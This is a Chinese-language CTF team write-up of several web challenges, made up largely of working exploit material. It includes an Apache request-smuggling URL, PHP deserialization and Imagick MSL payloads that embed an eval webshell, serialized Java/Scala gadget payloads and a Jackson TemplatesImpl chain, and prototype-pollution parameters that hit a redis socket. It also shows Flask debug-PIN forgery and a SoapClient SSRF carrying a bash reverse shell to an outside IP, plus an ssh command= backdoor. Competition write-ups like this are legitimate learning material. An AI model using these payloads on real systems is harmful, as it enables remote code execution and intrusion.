前言 特别鸣谢@m1sery@zwx风信子 三位共同作战的朋友
战绩十分不错!
CheckIn Apache 2.4.55 走私,签到题,但是U1S1我觉得很无语。http://115.239.215.75:8082/2023/%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/2022.php%3furl%3d114.116.119.253:7777%253fa%253d 因为我并不知道是2022.php害我卡了好一会儿。需要注意的是走私的请求里的?=需要做一下二次编码的处理
fumo_backdoor 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php error_reporting (0 ); ini_set ('open_basedir' , __DIR__ .":/tmp" );define ("FUNC_LIST" , get_defined_functions ());class fumo_backdoor { public $path = null ; public $argv = null ; public $func = null ; public $class = null ; public function __sleep ( ) { if ( file_exists ($this ->path) && preg_match_all ('/[flag]/m' , $this ->path) === 0 ) { readfile ($this ->path); } } public function __wakeup ( ) { $func = $this ->func; if ( is_string ($func ) && in_array ($func , FUNC_LIST["internal" ]) ) { call_user_func ($func ); } else { $argv = $this ->argv; $class = $this ->class ; new $class ($argv ); } } } $cmd = $_REQUEST ['cmd ']; $data = $_REQUEST ['data ']; switch ($cmd ) { case 'unserialze' : unserialize ($data ); break ; case 'rm' : system ("rm -rf /tmp 2>/dev/null" ); break ; default : highlight_file (__FILE__ ); break ; }
看的这个https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md
。 现在远程可以跑到_sleep里面,基本上就纯纯原题了。稍微改了点,include变为了readdir,因此我们很难getshell。那就改变思路了。首先我们知道flag是在根目录的,但是由于open_basedir我们并没有权限去读取,因此我们需要配合imagick的msl语言特性,把flag读到/tmp目录下,然后再利用上述payload去触发__sleep,读取flag文件 首先我们需要用如下payload把flag移动到tmp目录下
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <image > <read filename ="mvg:/flag" /> <write filename ="/tmp/xnythinx" /> #不能包含f l a g字母中的任何一个,那个正则识别的是4个字母</image >
mvg:对文件头似乎没有强制要求 这样可以把根目录下的 flag 文件移动到 /tmp 中,配合__sleep 中的文件读取拿到 flag 然后就是按照上述github的原题去复现,首先我们需要写入一个session,可以配合ppm的文件格式在末尾插入一个脏数据。这里需要本地debug一下。 第一段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /?data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22aadsad%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D&cmd=unserialze HTTP/1.1 Host: 47.99.77.113:18080 Accept: */* Content-Length: 702 Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979 --------------------------c32aaddf3d8fd979 Content-Disposition: form-data; name="swarm"; filename="swarm.msl" Content-Type: application/octet-stream <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86MTM6ImZ1bW9fYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czo5OiIvdG1wL3Nlc3MiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" /> <write filename="/tmp/sess_pop" /> </image> --------------------------c32aaddf3d8fd979--
第二段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /?data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22aadsad%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D&cmd=unserialze HTTP/1.1 Host: 47.99.77.113:18080 Accept: */* Content-Length: 320 Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979 --------------------------c32aaddf3d8fd979 Content-Disposition: form-data; name="swarm"; filename="swarm.msl" Content-Type: application/octet-stream <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="mvg:/flag" /> <write filename="/tmp/sess" /> </image> --------------------------c32aaddf3d8fd979--
然后携带PHPSESSID=pop,去触发sleep,读取flag文件,yoooooooooooooo
Hellojava 绕过了那个Mybean的ifinput后可以清空黑名单 然后打一条jackson的链子 这一题的问题点就是怎么给那个input注入一个值,他jackson注解是标识了@jacksoninject,但是 根据调试发现,我们注入的input值为空。 名字获取的是’’因此,在我们注入的时候,需要用{"":true,"base64Code":"AAAAAAAA"},这样方可避免报错,进入下一步骤。 然后就是审计依赖发现敏感依赖 然后scala里的lazylist是出过java反序列化漏洞的,我们可以利用exp清空任意文件的内容https://github.com/yarocher/lazylist-cve-poc/blob/main/src/main/java/poc/cve/lazylist/payload/LazyList.java 按照上述github项目搭建好,就会生成一个序列化文件,把他base64后打入题目,就会清空黑名单
1 rO0ABXNyADZzY2FsYS5jb2xsZWN0aW9uLmltbXV0YWJsZS5MYXp5TGlzdCRTZXJpYWxpemF0aW9uUHJveHkAAAAAAAAAAwMAAHhwc3IAJnNjYWxhLnJ1bnRpbWUuTW9kdWxlU2VyaWFsaXphdGlvblByb3h5AAAAAAAAAAECAAFMAAttb2R1bGVDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7eHB2cgAmc2NhbGEuY29sbGVjdGlvbi5nZW5lcmljLlNlcmlhbGl6ZUVuZCQAAAAAAAAAAwIAAHhwc3IAI3NjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0AAAAAAAAAAMDAAVaAAhiaXRtYXAkMFoADW1pZEV2YWx1YXRpb25aADNzY2FsYSRjb2xsZWN0aW9uJGltbXV0YWJsZSRMYXp5TGlzdCQkc3RhdGVFdmFsdWF0ZWRMAAlsYXp5U3RhdGV0ABFMc2NhbGEvRnVuY3Rpb24wO0wAKnNjYWxhJGNvbGxlY3Rpb24kaW1tdXRhYmxlJExhenlMaXN0JCRzdGF0ZXQAK0xzY2FsYS9jb2xsZWN0aW9uL2ltbXV0YWJsZS9MYXp5TGlzdCRTdGF0ZTt4cAAAAXNyAExzY2FsYS5zeXMucHJvY2Vzcy5Qcm9jZXNzQnVpbGRlckltcGwkRmlsZU91dHB1dCQkYW5vbmZ1biQkbGVzc2luaXQkZ3JlYXRlciQzAAAAAAAAAAACAAJaAAhhcHBlbmQkMUwABmZpbGUkMnQADkxqYXZhL2lvL0ZpbGU7eHAAc3IADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAYLi9zZWN1cml0eS9ibGFja2xpc3QudHh0dwIAL3hzcQB+AAJ2cgAwc2NhbGEuY29sbGVjdGlvbi5pbW11dGFibGUuTGF6eUxpc3QkU3RhdGUkRW1wdHkkAAAAAAAAAAMCAAB4cHh4
然后使用jackson的普通利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 package org.example;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.springframework.http.HttpEntity;import org.springframework.http.HttpHeaders;import org.springframework.http.ResponseEntity;import org.springframework.web.client.RestTemplate;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.net.URI;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.Base64;public class TemplatesImplChain { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "caonima" ); byte [] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\b.class" )); byte [][] codes={code}; setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(templates,"_bytecodes" ,codes); POJONode jsonNodes = new POJONode (templates); BadAttributeValueExpException exp = new BadAttributeValueExpException (11 ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(exp,jsonNodes); System.out.println(serial(exp)); } public static void doPOST (byte [] obj) throws Exception{ HttpHeaders requestHeaders = new HttpHeaders (); requestHeaders.set("Content-Type" , "text/plain" ); URI url = new URI ("http://112.124.14.13:8080/bypassit" ); HttpEntity<byte []> requestEntity = new HttpEntity <> (obj,requestHeaders); RestTemplate restTemplate = new RestTemplate (); ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class); System.out.println(res.getBody()); } public static String serial (Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public static void deserial (String data) throws Exception { byte [] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream (base64decodedBytes); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } private static void Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } }
得到base64字符串
1 rO0ABXNyADZzY2FsYS5jb2xsZWN0aW9uLmltbXV0YWJsZS5MYXp5TGlzdCRTZXJpYWxpemF0aW9uUHJveHkAAAAAAAAAAwMAAHhwc3IAJnNjYWxhLnJ1bnRpbWUuTW9kdWxlU2VyaWFsaXphdGlvblByb3h5AAAAAAAAAAECAAFMAAttb2R1bGVDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7eHB2cgAmc2NhbGEuY29sbGVjdGlvbi5nZW5lcmljLlNlcmlhbGl6ZUVuZCQAAAAAAAAAAwIAAHhwc3IAI3NjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0AAAAAAAAAAMDAAVaAAhiaXRtYXAkMFoADW1pZEV2YWx1YXRpb25aADNzY2FsYSRjb2xsZWN0aW9uJGltbXV0YWJsZSRMYXp5TGlzdCQkc3RhdGVFdmFsdWF0ZWRMAAlsYXp5U3RhdGV0ABFMc2NhbGEvRnVuY3Rpb24wO0wAKnNjYWxhJGNvbGxlY3Rpb24kaW1tdXRhYmxlJExhenlMaXN0JCRzdGF0ZXQAK0xzY2FsYS9jb2xsZWN0aW9uL2ltbXV0YWJsZS9MYXp5TGlzdCRTdGF0ZTt4cAAAAXNyAExzY2FsYS5zeXMucHJvY2Vzcy5Qcm9jZXNzQnVpbGRlckltcGwkRmlsZU91dHB1dCQkYW5vbmZ1biQkbGVzc2luaXQkZ3JlYXRlciQzAAAAAAAAAAACAAJaAAhhcHBlbmQkMUwABmZpbGUkMnQADkxqYXZhL2lvL0ZpbGU7eHAAc3IADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAYLi9zZWN1cml0eS9ibGFja2xpc3QudHh0dwIAL3hzcQB+AAJ2cgAwc2NhbGEuY29sbGVjdGlvbi5pbW11dGFibGUuTGF6eUxpc3QkU3RhdGUkRW1wdHkkAAAAAAAAAAMCAAB4cHh4
分别打入: 收到反弹shell,读取flag结束
An4er_monitor 存在原型链污染。 写着写着就钻进去了 现在的情况是让题目代码中的securerandom为自定义的内容,或者是其他的方法覆盖他?(我目前的思路,图上的是js处理redis命令请求的部分,假如能污染某一处说不定有奇效?) /api/server/import路由处是进行原型链污染的点,可以污染任何undefined的对象。 现在的思路就如上,在ioredis进行get或者set的流程中是否有地方可以原型链污染,导致我们添加一个恶意的键进去? 问了一下龙哥,事实证明思路大致对了一半,但是想法可能有点歪
首先通过原型链污染污染http.get里的options中的socketpath
让请求走socket访问本地unixsocket
然后设置options.method为SET,就会 SET Adminxxx Http/1.1
?
我们跟一下流程 这里需要注意一下,由于我们method设置的是SET,在进入request()方法后,会进行一系列的处理,感兴趣的师傅可以自行debug,这里我忘了截图,然后我们也会读取socketpath,至于socketpath有什么用,我询问了chatgpt,他提供一个 大概的意思我们可以通过这个文件,与服务器进行通讯以及执行命令,redis也不例外,在这一题的redis.conf,我们可以发现 也就是说假如我们污染socketpath为这值,那么我们将与redis之间进行通讯,由于SET被当做了一个合法的指令,然后由于我们污染了socketpath,因此我们会使用socket与redis进行通讯,会发送一个header 这里我的Path是/
,假如把Path改为IsADmin
,那么我们就可以利用这个只需SET指令,让IsADmin=HTTP/1.1
了,这样就可以进行登录获取flag哈哈哈,我本地搭建一个环境。 因此我们只需要使用payload
1 2 3 ?urls.__proto__.method=SET ?urls.__proto__.path=IsAdminSession ?urls.__proto__.socketPath=/run/redis/redis.sock
然后访问check路由随便去触发一下那个http.get,之后访问/getflag即可
pypyp? 首先题目入口进去应该是需要用session_upload_progress 去注册一个session,得到session后可以获得题目源码(upload_progress to set session,then we are in the chal) 你问我接下来怎么走?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST / HTTP/1.1 Host: localhost Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/a Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=boogipop Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzALlheET Content-Length: 255 ------WebKitFormBoundaryzALlheET Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" <?php eval($_POST[1]);?> ------WebKitFormBoundaryzALlheET Content-Disposition: form-data; name="data" xxx
extract可以通过数组注册任意变量,如properties和type都可以
然后就可以自行控制if分支了
有三个利用点(three points which are vul)
通过内置类去触发xxe,进而得到题目的源码app.py,这样就可以进行下一步的处理,这就xxe试试看。(xxe exploit to read anyfile) app.py: The request content: 同样也开启了debug模式 我们完全可以读取key,然后伪造一个pin码,由于还有一个利用条件没有用到,那就是上述第一个条件,可以触发一个__call方法,这里可以用SoapClient去SSRF,由于算pin码rce需要设置cookie的header。所以我们用SoapClient可以自定义请求包和请求内容,这样就完成了RCE!也符合题目写的hint:”简单 但也很绕”
Machine id : 349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
hex(Mac) : 0x0242ac130002 => /sys/class/net/eth0/address
moddir:关于这一点比较他妈的操蛋,由于python服务没给我们输入的参数去触发报错,导致我们只可以取通过读目录的方式获取/flask/app.py在哪儿了。直接说结论吧,用GlobIterrator类配合glob伪协议去找每个可能一点的目录,最后在/usr/lib/python3.8/site-packages/flask/app.py,这个是问chatgpt后有思路的,因为/etc/passwd中的root用户对应/bin/ash,然后就找了一下
最后在@zwx风信子的帮助下有了一个算pin的脚本,这是github的一个项目https://github.com/WiIs0n/Flask-cookie-generation-based-on-PIN-code
1 python3 exp.py --username app --modname flask.app --appname Flask --basefile /usr/lib/python3.8/site-packages/flask/app.py --uuid 2485378023426 --machineid 349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
成功算出pin了。剩下的就和我之前的思路一样,去通过soapclient去访问debug界面,由于debugmode的rce需要携带cookie,因此只有soapclient可以做到
1 2 3 4 5 6 7 8 9 10 11 <?php $target = 'http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__(%22os%22).popen(%22bash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.116.119.253%2F7777%20%3C%261%5C%22%22)&frm=0&s=DhOJxtvMXCtezvKtqaK9' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: __wzdb2a60e2b19822632a67c=1687106351|11b8517fb9fb' ); $b = new SoapClient (null ,array ('location' => $target ,'user_agent' =>"wupco\r\n" .join ("\r\n" ,$headers ),'uri' => "aaab" ));$arr =Array ("properties" =>urlencode (serialize ($b )),"type" =>"SimpleXMLElement" );$aaa = serialize ($arr );echo $aaa ;?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST / HTTP/1.1 Host: 115.239.215.75:8081 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.51 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=boogipop Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzALlheET Content-Length: 866 ------WebKitFormBoundaryzALlheET Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" asdasda ------WebKitFormBoundaryzALlheET Content-Disposition: form-data; name="data" a:2:{s:10:"properties";s:604:"O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A207%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F%26__debugger__%3Dyes%26cmd%3D__import__%28%2522os%2522%29.popen%28%2522bash%2520-c%2520%255C%2522bash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252F114.116.119.253%252F7777%2520%253C%25261%255C%2522%2522%29%26frm%3D0%26s%3DDhOJxtvMXCtezvKtqaK9%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A92%3A%22wupco%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+__wzdb2a60e2b19822632a67c%3D1687106351%7C11b8517fb9fb%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";s:4:"type";s:16:"SimpleXMLElement";}
后面用curl提个权读flag就行了。
SycServer Vanzy爷爷太强拉,会逆向,然而我这只web狗并不会逆向,所以这题就挂啦~ 我的思路是,肯定是利用zipslip去覆盖一下私钥,然后admin路由对私钥有一些处理,可惜我没逆出来呀! 赛后问了一下,在admin路由里其实是会执行ssh -i rsa_key vanzy@xxxxx
这个指令去读取密钥文件的。然后我们可以再密钥文件里加入一条恶意的语句command=xxxxxxx
,也就是标记ssh连接后干啥。写个反弹shell就出了呜呜 大致步骤就是
zipslip去覆盖authorization文件
访问admin让他读取密钥文件,触发command指令
获取反弹shell
这里设计到一个ssh指令的特性,ssh在读取密钥文件的时候,会识别密钥文件中的command=xxx
,这样实际上就是一个ssh后门
X:D 附上一段小花絮: 和外国的vn师傅一起做的这道题,好久没感觉到CTF的激情了,然后这一次比赛VN的师傅也是火力全开,体验到了一次联队的热情,希望VN以后可以越来越好 以下是和外国的VN师傅zwx风信子的聊天花絮
算pin 算cookie 算出来啦 debug soapclient的问题: 到这里是可以在远程服务器执行命令,touch一个文件了,但是读不到flag,也cp不了flag 到这里我以为内网的flask是不出网的,结果我傻逼了,咋可能不出网呢,被提醒之后就弹shell了 最后就是提权得到flag,这一次比赛属于是打的比较开心了,vn的师傅也都非常的给力。best v&n team